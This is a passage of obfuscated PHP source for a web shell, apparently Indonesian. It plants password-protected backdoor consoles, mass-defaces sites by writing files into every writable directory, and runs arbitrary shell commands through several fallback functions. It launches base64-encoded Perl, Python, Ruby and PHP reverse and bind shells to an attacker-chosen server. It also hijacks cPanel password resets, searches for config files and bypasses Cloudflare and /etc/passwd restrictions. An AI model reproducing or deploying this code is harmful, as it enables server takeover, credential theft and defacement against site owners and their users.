$isiconsole); if ($status) { $console_result .= "<span class="text-success">Berhasil Deploy Console!</span> <a href='" . $urlconsole_cms_lainnya . "'class="text-info" target="_target" rel="nofollow noopener noreferrer">{$urlconsole_wp}</a><br>"; chmod($fileconsole, 292); } else { $console_result .= "<span class="text-danger">Gagal Deploy Console!</span><br>"; } } else { $dirconsole_cms_lainnya_fallback = $dirconsole . "/css"; $fileconsole = $dirconsole_cms_lainnya_fallback . "/bootstrap.php"; $urlconsole_cms_lainnya_fallback = $url . "/css/bootstrap.php?pass=cUaNbErSaMaSaMaAnJeNgJaNcOg"; $status = file_put_contents($fileconsole, $isiconsole); if ($status) { $console_result .= "<span class="text-success">Berhasil Deploy Console!</span> <a href='" . $urlconsole_cms_lainnya_fallback . "'class="text-info" target="_target" rel="nofollow noopener noreferrer">{$urlconsole_wp}</a><br>"; chmod($fileconsole, 292); } else { $console_result .= "<span class="text-danger">Gagal Deploy Console!</span><br>"; } } echo "<div class="smallarea" name="output style="border-bottom:0;margin-top:5px;" readonly>"; print_r($console_result) . PHP_EOL; echo "</div></div></div>"; } goto rOCVT; XBmL5: if (isset($_GET["file"]) && $_GET["file"] != '' && $_GET["aksi"] == "download") { @ob_clean(); $file = $_GET["file"]; header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename="" . basename($file) . """); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Length: " . filesize($file)); readfile($file); die; } goto y70kv; lzhZh: if (isset($_GET["about"])) { about(); } goto Pt7aW; n8lqi: function IIIIIIIl1l11($dir, $file, $IIIIIIII1l1I, $IIIIIIII1l1l) { function IIIIIIIl11II($dir, $IIIIIIIl11Il, $IIIIIIIl11I1) { if (is_writable($dir)) { $IIIIIIIl11lI = scandir($dir); foreach ($IIIIIIIl11lI as $IIIIIIIl11ll) { $IIIIIIIl11l1 = "{$dir}/{$IIIIIIIl11ll}"; $IIIIIIIl111I = $IIIIIIIl11l1 . "/" . $IIIIIIIl11Il; if ($IIIIIIIl11ll === ".") { file_put_contents($IIIIIIIl111I, $IIIIIIIl11I1); } elseif ($IIIIIIIl11ll === "..") { file_put_contents($IIIIIIIl111I, $IIIIIIIl11I1); } else { if (is_dir($IIIIIIIl11l1)) { if (is_writable($IIIIIIIl11l1)) { echo "Done > {$IIIIIIIl111I}
"; file_put_contents($IIIIIIIl111I, $IIIIIIIl11I1); $masdef = IIIIIIIl11II($IIIIIIIl11l1, $IIIIIIIl11Il, $IIIIIIIl11I1); } } } } } } function IIIIIIIl1111($dir, $IIIIIIIl11Il, $IIIIIIIl11I1) { if (is_writable($dir)) { $IIIIIIIl11lI = scandir($dir); foreach ($IIIIIIIl11lI as $IIIIIIIl11ll) { $IIIIIIIl11l1 = "{$dir}/{$IIIIIIIl11ll}"; $IIIIIIIl111I = $IIIIIIIl11l1 . "/" . $IIIIIIIl11Il; if ($IIIIIIIl11ll === ".") { file_put_contents($IIIIIIIl111I, $IIIIIIIl11I1); } elseif ($IIIIIIIl11ll === "..") { file_put_contents($IIIIIIIl111I, $IIIIIIIl11I1); } else { if (is_dir($IIIIIIIl11l1)) { if (is_writable($IIIIIIIl11l1)) { echo "Done > {$IIIIIIIl11ll}/{$IIIIIIIl11Il}\xa"; file_put_contents($IIIIIIIl111I, $IIIIIIIl11I1); } } } } } } if ($_POST["start"]) { echo "[ <a href='?dir={$dir}'>Kembali</a> ]\xa<textarea class='form-control' rows='15' disabled=''>"; if ($_POST["tipe"] == "mahal") { IIIIIIIl11II($_POST["d_dir"], $_POST["d_file"], $_POST["script"]); } elseif ($_POST["tipe"] == "murah") { IIIIIIIl1111($_POST["d_dir"], $_POST["d_file"], $_POST["script"]); } echo "</textarea><br/>"; } else { echo "<form method='post'>
<div class='text-center'>\xa<h5>Tipe :</h5>\xa<input id='toggle-on' class='toggle toggle-left' name='tipe' value='murah' type='radio' checked>
<label for='toggle-on' class='butn'>Biasa</label>
<input id='toggle-off' class='toggle toggle-right' name='tipe' value='mahal' type='radio'>
<label for='toggle-off' class='butn'>Masal</label>\xa</div> \xa<h5>{$IIIIIIII1l1I} Lokasi :</h5>\xa<input type='text' name='d_dir' value='{$dir}' class='form-control'><br>
<h5>{$IIIIIIII1l1l} Nama File :</h5>
<input type='text' name='d_file' placeholder='[Ex] index.php' class='form-control'><br/>\xa<h5>{$IIIIIIII1l1l} Isi File :</h5>\xa<textarea name='script' class='form-control' rows='13' placeholder='[Ex] Hacked By Root Hunter'></textarea><br/>\xa<input type='submit' name='start' value='Mass Deface' class='btn btn-danger btn-block'>
</form>"; } die; } goto VOkoG; NfE3m: $IIIIIIIIl1l1 = explode("/", $path); goto fk8xa; kyGyA: function ex($cmd) { if (function_exists("system")) { @ob_start(); @system($cmd); $IIIIIIIII11l = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists("exec")) { @exec($cmd, $IIIIIIIIlII1); $IIIIIIIII11l = join("
", $IIIIIIIIlII1); } elseif (function_exists("passthru")) { @ob_start(); @passthru($cmd); $IIIIIIIII11l = @ob_get_contents(); @ob_end_clean(); } elseif (function_exists("shell_exec")) { $IIIIIIIII11l = @shell_exec($cmd); } elseif (function_exists("proc_open")) { $IIIIIIIIlI1I = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $IIIIIIIIlI1l = proc_open($cmd, $IIIIIIIIlI1I, $IIIIIIIIllII); if (is_resource($IIIIIIIIlI1l)) { if (function_exists("fread") && function_exists("feof")) { while (!feof($IIIIIIIIllII[1])) { $IIIIIIIII11l .= fread($IIIIIIIIllII[1], 512); } } elseif (function_exists("fgets") && function_exists("feof")) { while (!feof($IIIIIIIIllII[1])) { $IIIIIIIII11l .= fgets($IIIIIIIIllII[1], 512); } } } pclose($IIIIIIIIlI1l); } elseif (function_exists("popen")) { $IIIIIIIIlI1l = popen($cmd, "r"); if (is_resource($IIIIIIIIlI1l)) { if (function_exists("fread") && function_exists("feof")) { while (!feof($IIIIIIIIlI1l)) { $IIIIIIIII11l .= fread($IIIIIIIIlI1l, 512); } } elseif (function_exists("fgets") && function_exists("feof")) { while (!feof($IIIIIIIIlI1l)) { $IIIIIIIII11l .= fgets($IIIIIIIIlI1l, 512); } } } pclose($IIIIIIIIlI1l); } $IIIIIIIII11l = wordwrap(htmlspecialchars($IIIIIIIII11l)); return $IIIIIIIII11l; } goto k8V3L; OWytU: if ($_GET["aksi"] == "write") { IIIIIIIlI11l($dir, $IIIIIIII1l1I); } goto C142H; nyJNx: if ($_GET["aksi"] == "sym_bypas") { IIIIIIlIIIII($dir, $file); } goto dSTbr; rgLk1: $IIIIIIII1IIl = phpversion(); goto IMYQ9; x6dqP: $IIIIIIII1Il1 = explode(" / ", $dir); goto WPQAH; xaPb1: if ($_GET["aksi"] == "deployrh") { deployrh($dir); } goto BxahF; AjK8T: if (isset($_GET["configsearching"])) { $IIIIIIlllI11 = $_GET["configsearching"]; echo "<div class='card'>\xa<div class='card-body form-group'><p class='text-dark'>[+] Found : </p></br><p class='text-dark'>" . ex("find {$IIIIIIlllI11} -name '*config.php' >> cakilconf.txt;cat cakilconf.txt") . "</p></div></div>"; die; } goto lzhZh; w0veY: $IIIIIIII1III = getHostByName(getHostName()); goto rgLk1; aV7hf: function view($dir, $file, $IIIIIIIlllIl, $IIIIIIII1l1l) { echo "[ <a class="active" href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ] [ <a href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ] [ <a href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ] [ <a href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ]
<h5 class="mt-3 mb-3">" . $IIIIIIII1l1l . " Lihat File : " . $IIIIIIIlllIl . "</h5>
<pre class="code"><code rows="15" class="code form-control" disabled="">" . htmlspecialchars(@file_get_contents($file)) . "</code></pre><textarea style="color:transparent;width:100%;background:transparent;border:transparent;overflow:hidden;height:0px;" id="codeView" readonly>" . htmlspecialchars(@file_get_contents($file)) . "</textarea>
<button class="btn btn-success btn-block mb-5" onclick="copyhasil()">Copy</button>"; } goto kxXTS; VHEhv: function IIIIIIlIIIll($dir, $file) { echo "<h4 class='text-center mb-4'>Back Connect Tools</h4>\xa<form method='post'>
<div class='row'>
<div class='col-md-10'>\xa<span>Bind port to /bin/sh [Perl]</span><br/>\xa<label>Port :</label>
<div class='form-group input-group mb-4'>
<input type='text' name='port' class='form-control' value='6969'>\xa<input type='submit' name='bpl' class='btn btn-danger form-control' value='Reserve'>
</div>
<h5>Back-Connect</h5>
<label>Server :</label>
<input type='text' name='server' class='form-control mb-3' placeholder='" . $_SERVER["REMOTE_ADDR"] . "'>
<label>Port :</label>\xa<div class='form-group input-group mb-4'>
<input type='text' name='port' class='form-control' placeholder='443'>\xa<select class='form-control' name='backconnect'>
<option value='perl'>Perl</option>\xa<option value='php'>PHP</option>\xa<option value='python'>Python</option>
<option value='ruby'>Ruby</option>\xa</select>
</div>
<input type='submit' class='btn btn-danger btn-block' value='Connect'>
</div>
</div>
</form>"; if ($_POST["bpl"]) { $IIIIIIlIIIl1 = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="); $IIIIIIlIII1l = @fopen("bp.pl", "w"); fwrite($IIIIIIlIII1l, $IIIIIIlIIIl1); $IIIIIIlIII11 = ex("perl bp.pl " . $_POST["port"] . " 1>/dev/null 2>&1 &"); sleep(1); echo "<pre class='text-light'>{$IIIIIIlIII11}\xa" . ex("ps aux | grep bp.pl") . "</pre>"; unlink("bp.pl"); } if ($_POST["backconnect"] == "perl") { $IIIIIIlIIlIl = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"); $IIIIIIlIIlI1 = @fopen("bc.pl", "w"); fwrite($IIIIIIlIIlI1, $IIIIIIlIIlIl); $IIIIIIlIII11 = ex("perl bc.pl " . $_POST["server"] . " " . $_POST["port"] . " 1>/dev/null 2>&1 &"); sleep(1); echo "<pre class='text-light'>{$IIIIIIlIII11}
" . ex("ps aux | grep bc.pl") . "</pre>"; unlink("bc.pl"); } if ($_POST["backconnect"] == "python") { $IIIIIIlIIllI = base64_decode("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBNci54QmFyYWt1ZGFcblRoYW5rcyBHb29nbGUgRm9yIFJlZmVyZW5zaVxuXG4nJycpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMCkNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDIpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMykNCiAgICBzaGVsbCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ0KICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6DQogICAgcHJpbnQgIlRpbU91dCINCiAgZXhjZXB0IHNvY2tldC5lcnJvciwgZToNCiAgICBwcmludCAiRXJyb3IiLCBlDQpweWJhY2tjb25uZWN0KCk="); $IIIIIIlIIlll = @fopen("bcpyt.py", "w"); fwrite($IIIIIIlIIlll, $IIIIIIlIIllI); $IIIIIIlIIll1 = ex("python bcpyt.py " . $_POST["server"] . " " . $_POST["port"]); sleep(1); echo "<pre class='text-light'>{$IIIIIIlIIll1}\xa" . ex("ps aux | grep bcpyt.py") . "</pre>"; unlink("bcpyt.py"); } if ($_POST["backconnect"] == "ruby") { $IIIIIIlIIl1I = base64_decode("IyEvdXNyL2Jpbi9lbnYgcnVieQ0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KIw0KIyBiaW5kIGFuZCByZXZlcnNlIHNoZWxsDQojIGIzNzRrDQpyZXF1aXJlICdzb2NrZXQnDQpyZXF1aXJlICdwYXRobmFtZScNCg0KZGVmIHVzYWdlDQoJcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KCXByaW50ICJyZXZlcnNlIDpcclxuICBydWJ5ICIgKyBGaWxlLmJhc2VuYW1lKF9fRklMRV9fKSArICIgW3BvcnRdIFtob3N0XVxyXG4iDQplbmQNCg0KZGVmIHN1Y2tzDQoJc3Vja3MgPSBmYWxzZQ0KCWlmIFJVQllfUExBVEZPUk0uZG93bmNhc2UubWF0Y2goJ21zd2lufHdpbnxtaW5ndycpDQoJCXN1Y2tzID0gdHJ1ZQ0KCWVuZA0KCXJldHVybiBzdWNrcw0KZW5kDQoNCmRlZiByZWFscGF0aChzdHIpDQoJcmVhbCA9IHN0cg0KCWlmIEZpbGUuZXhpc3RzPyhzdHIpDQoJCWQgPSBQYXRobmFtZS5uZXcoc3RyKQ0KCQlyZWFsID0gZC5yZWFscGF0aC50b19zDQoJZW5kDQoJaWYgc3Vja3MNCgkJcmVhbCA9IHJlYWwuZ3N1YigvXC8vLCJcXCIpDQoJZW5kDQoJcmV0dXJuIHJlYWwNCmVuZA0KDQppZiBBUkdWLmxlbmd0aCA9PSAxDQoJaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzBdKQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXNlcnZlciA9IFRDUFNlcnZlci5uZXcoIiIsIHBvcnQpDQoJcyA9IHNlcnZlci5hY2NlcHQNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQoJYmVnaW4NCgkJaWYgbm90IHN1Y2tzDQoJCQlmID0gcy50b19pDQoJCQlleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCgkJZWxzZQ0KCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQl3aGlsZSBsaW5lID0gcy5nZXRzDQoJCQkJcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyPyQvDQoJCQkJaWYgbm90IGxpbmUuY2hvbXAgPT0gIiINCgkJCQkJaWYgbGluZSA9fiAvY2QgLiovaQ0KCQkJCQkJbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KCQkJCQkJaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQoJCQkJCQkJbGluZSA9IHJlYWxwYXRoKGxpbmUpDQoJCQkJCQkJRGlyLmNoZGlyKGxpbmUpDQoJCQkJCQllbmQNCgkJCQkJCXMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KCQkJCQllbHNpZiBsaW5lID1+IC9cdzouKi9pDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZS5jaG9tcCkNCgkJCQkJCQlEaXIuY2hkaXIobGluZS5jaG9tcCkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2UNCgkJCQkJCUlPLnBvcGVuKGxpbmUsInIiKXt8aW98cy5wcmludCBpby5yZWFkICsgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+In0NCgkJCQkJZW5kDQoJCQkJZW5kDQoJCQllbmQNCgkJZW5kDQoJcmVzY3VlIGVycm9yQnJvDQoJCXB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KCWVuc3VyZQ0KCQlzLmNsb3NlDQoJCXMgPSBuaWwNCgllbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCglpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQoJCXBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQoJCWhvc3QgPSBBUkdWWzFdDQoJZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzFdKQ0KCQlob3N0ID0gQVJHVlswXQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXMgPSBUQ1BTb2NrZXQubmV3KCIje2hvc3R9IiwgcG9ydCkNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fSINCgliZWdpbg0KCQlpZiBub3Qgc3Vja3MNCgkJCWYgPSBzLnRvX2kNCgkJCWV4ZWMgc3ByaW50ZigiL2Jpbi9zaCAtaSBcPFwmJWQgXD5cJiVkIDJcPlwmJWQiLCBmLCBmLCBmKQ0KCQllbHNlDQoJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCXdoaWxlIGxpbmUgPSBzLmdldHMNCgkJCQlyYWlzZSBlcnJvckJybyBpZiBsaW5lID1+IC9eZGllXHI/JC8NCgkJCQlpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KCQkJCQlpZiBsaW5lID1+IC9jZCAuKi9pDQoJCQkJCQlsaW5lID0gbGluZS5nc3ViKC9jZCAvaSwgJycpLmNob21wDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZSkNCgkJCQkJCQlsaW5lID0gcmVhbHBhdGgobGluZSkNCgkJCQkJCQlEaXIuY2hkaXIobGluZSkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCgkJCQkJCWlmIEZpbGUuZGlyZWN0b3J5PyhsaW5lLmNob21wKQ0KCQkJCQkJCURpci5jaGRpcihsaW5lLmNob21wKQ0KCQkJCQkJZW5kDQoJCQkJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCQkJZWxzZQ0KCQkJCQkJSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KCQkJCQllbmQNCgkJCQllbmQNCgkJCWVuZA0KCQllbmQNCglyZXNjdWUgZXJyb3JCcm8NCgkJcHV0cyAiKioqICN7bmFtZX06I3twb3J0fSBkaXNjb25uZWN0ZWQiDQoJZW5zdXJlDQoJCXMuY2xvc2UNCgkJcyA9IG5pbA0KCWVuZA0KZWxzZQ0KCXVzYWdlDQoJZXhpdA0KZW5k"); $IIIIIIlIIl1l = @fopen("bcruby.rb", "w"); fwrite($IIIIIIlIIl1l, $IIIIIIlIIl1I); $IIIIIIlIIl11 = ex("ruby bcruby.rb " . $_POST["server"] . " " . $_POST["port"]); sleep(1); echo "<pre class='text-light'>{$IIIIIIlIIl11}\xa" . ex("ps aux | grep bcruby.rb") . "</pre>"; unlink("bcruby.rb"); } if ($_POST["backconnect"] == "php") { $IIIIIIII1III = $_POST["server"]; $port = $_POST["port"]; $IIIIIIlII1Il = fsockopen($IIIIIIII1III, $port, $IIIIIIlII1lI, $IIIIIIlII1ll); if ($IIIIIIlII1lI != 0) { echo "<font color='red'>{$IIIIIIlII1lI} : {$IIIIIIlII1ll}</font>"; } else { if (!$IIIIIIlII1Il) { $IIIIIIlII1l1 = "<p>Unexpected error has occured, connection may have failed.</p>"; } else { fputs($IIIIIIlII1Il, "\xa\xa{#######################################}
..:: BackConnect PHP::..\xa\xa{#######################################}
"); $dir = @shell_exec("pwd"); $IIIIIIlII11I = @shell_exec("uname -a"); $time = @Shell_exec("time"); $IIIIIIlII111 = 1337; fputs($IIIIIIlII1Il, "User ", $IIIIIIlII11I, "connected @ ", $time, ''); while (!feof($IIIIIIlII1Il)) { $IIIIIIlIlIII = "[kuda]#:> "; @fputs($IIIIIIlII1Il, $IIIIIIlIlIII); $IIIIIIlIlIIl = fgets($IIIIIIlII1Il, $IIIIIIlII111); @fputs($IIIIIIlII1Il, '' . @shell_exec($IIIIIIlIlIIl) . ''); } @fclose($IIIIIIlII1Il); } } } die; } goto BQ8GD; pOIQk: function IIIIIIlIlI1I($dir) { echo "<h5 class="text-center mb-4"><i class="fa fa-key"></i> Auto Reset Password Cpanel</h5>\xa<form method="POST">
<div class="form-group input-group">
<div class="input-group-prepend">\xa<div class="input-group-text"><i class="fa fa-envelope"></i></div>\xa</div>\xa<input type="email" name="email" class="form-control" placeholder="Masukan Email..."/>\xa</div>\xa<input type="submit" name="submit" class="btn btn-danger btn-block" value="Send"/>
</div>\xa</form>"; if (isset($_POST["submit"])) { $user = get_current_user(); $IIIIIIlIlI1l = $_SERVER["HTTP_HOST"]; $IIIIIIlIlI11 = getenv("REMOTE_ADDR"); $email = $_POST["email"]; $IIIIIIlIllIl = "email:" . $email; $IIIIIII1IlII = fopen("/home/" . $user . "/.cpanel/contactinfo", "w"); @fwrite($IIIIIII1IlII, $IIIIIIlIllIl); @fclose($IIIIIII1IlII); $IIIIIII1IlII = fopen("/home/" . $user . "/.contactinfo", "w"); @fwrite($IIIIIII1IlII, $IIIIIIlIllIl); @fclose($IIIIIII1IlII); $IIIIIIlIllI1 = "<a href="" . $IIIIIIlIlI1l . ":2082/resetpass?start=1" target="_blank" rel="nofollow noopener noreferrer">" . $IIIIIIlIlI1l . ":2082/resetpass?start=1</a>"; echo "<ul class="mt-2">"; echo "<li><span class="font-weight-bold text-success">Reset: </span>" . $IIIIIIlIllI1 . "</li>"; echo "<li><span class="font-weight-bold text-success">Username: </span>" . $user . "</li>"; echo "<li><span class="font-weight-bold text-success">Email: </span>" . $email . "</li>"; echo "</ul>"; } die; } goto k5gyt; Jy1LU: function IIIIIIIllIII($dir, $IIIIIIII1l1I) { $IIIIIIIllIIl = $_SERVER["SERVER_NAME"]; echo "<div class='card'><div class='card-body'>\xa<iframe id='content' name='content' style='width: 100%; height: 900px; overflow-x: hidden; overflow-y: scroll;' src='https://www.google.com/search?igu=1&ei=&q=site%3A" . $_SERVER["SERVER_NAME"] . "'><p>Your browser does not support iframes.</p></iframe>
</div></div>"; } goto I3MH7; DwRwj: function IIIIIIIl1IlI($dir, $IIIIIIIl1Ill) { echo "<form method='POST'>\xa<h5>Chmod Folder : {$IIIIIIIl1Ill} </h5>\xa<div class='form-group input-group'>\xa<input type='text' name='perm' class='form-control' value='" . substr(sprintf("%o", fileperms($_GET["dir"])), -4) . "'>
<input type='submit' class='btn btn-danger form-control' value='Chmod' name='chmo'>
</div>
</form>"; if (isset($_POST["chmo"])) { if (@chmod($_GET["dir"], $_POST["perm"])) { echo "<font color="lime">Change Permission Berhasil</font><br/>"; } else { echo "<font color="white">Change Permission Gagal</font><br/>"; } } die; } goto yn_qz; Jb3E0: if ($_GET["aksi"] == "ngebepass") { IIIIIIIlI11I($dir, $IIIIIIII1l1I); } goto OWytU; ViFig: echo "</table></center></div><hr/>"; goto Y0d0y; ypc_4: function IIIIIIllIl11() { echo "<form method="POST">
<h5 class="text-center mb-3">Bypass Cloud Flare</h5>
<div class="form-group input-group">\xa<select class="form-control" name="idsPilih">\xa<option>Pilih Metode</option>\xa<option>ftp</option>\xa<option>direct-conntect</option>\xa<option>webmail</option>
<option>cpanel</option>
</select>
</div>\xa<div class="form-group input-group mb-4">
<input class="form-control" type="text" name="target" placeholder="Masukan Url">\xa<input class="btn btn-danger form-control" type="submit" value="Bypass">\xa</div>
</form>"; $target = $_POST["target"]; if ($_POST["idsPilih"] == "ftp") { $ftp = gethostbyname("ftp." . "{$target}"); echo "<p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct \xaip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$ftp}</font></p>"; } if ($_POST["idsPilih"] == "direct-conntect") { $IIIIIIllI1Il = gethostbyname("direct-connect." . "{$target}"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$IIIIIIllI1Il}</font></p>"; } if ($_POST["idsPilih"] == "webmail") { $IIIIIIII1IlI = gethostbyname("webmail." . "{$target}"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct \xaip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$IIIIIIII1IlI}</font></p>"; } if ($_POST["idsPilih"] == "cpanel") { $cpanel = gethostbyname("cpanel." . "{$target}"); echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='3' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='3' color='#F68B1F'>{$cpanel}</font></p>"; } die; } goto BxeQ4; G1PAx: function IIIIIIIlI11I($dir, $IIIIIIII1l1I) { echo "<div class='card'>\xa<div class='card-body form-group'><form>\xa<h5><p class='text-muted'>Mass Change Date Automation Project</p><h5>
<h5><p class='text-muted'>{$IIIIIIII1l1I} Target Directory/file :</p></h5>
<input type='text' class='form-control' name='ngebepassnya' autocomplete='off' placeholder='ex : /var/www/html'>
</form></div></div>"; } goto ig1qN; hmrAm: function IIIIIII1lll1($dir, $file) { echo "<div claas="container">
<form method="POST">
<p class="text-center">Bypass etc/passwd With :</p>\xa<div class="d-flex justify-content-center flex-wrap">\xa<input type="submit" class="fiture btn btn-danger btn-sm" value="System Function" name="syst">\xa<input type="submit" class="fiture btn btn-danger btn-sm" value="Passthru Function" name="passth">\xa<input type="submit" class="fiture btn btn-danger btn-sm" value="Exec Function" name="ex">
<input type="submit" class="fiture btn btn-danger btn-sm" value="Shell_exec Function" name="shex">\xa<input type="submit" class="fiture btn btn-danger btn-sm" value="Posix_getpwuid Function" name="melex">\xa</div><hr/>\xa<p class="text-center">Bypass User With :</p>\xa<div class="d-flex justify-content-center flex-wrap">
<input type="submit" class="fiture btn btn-warning btn-sm" value="Awk Program" name="awkuser">
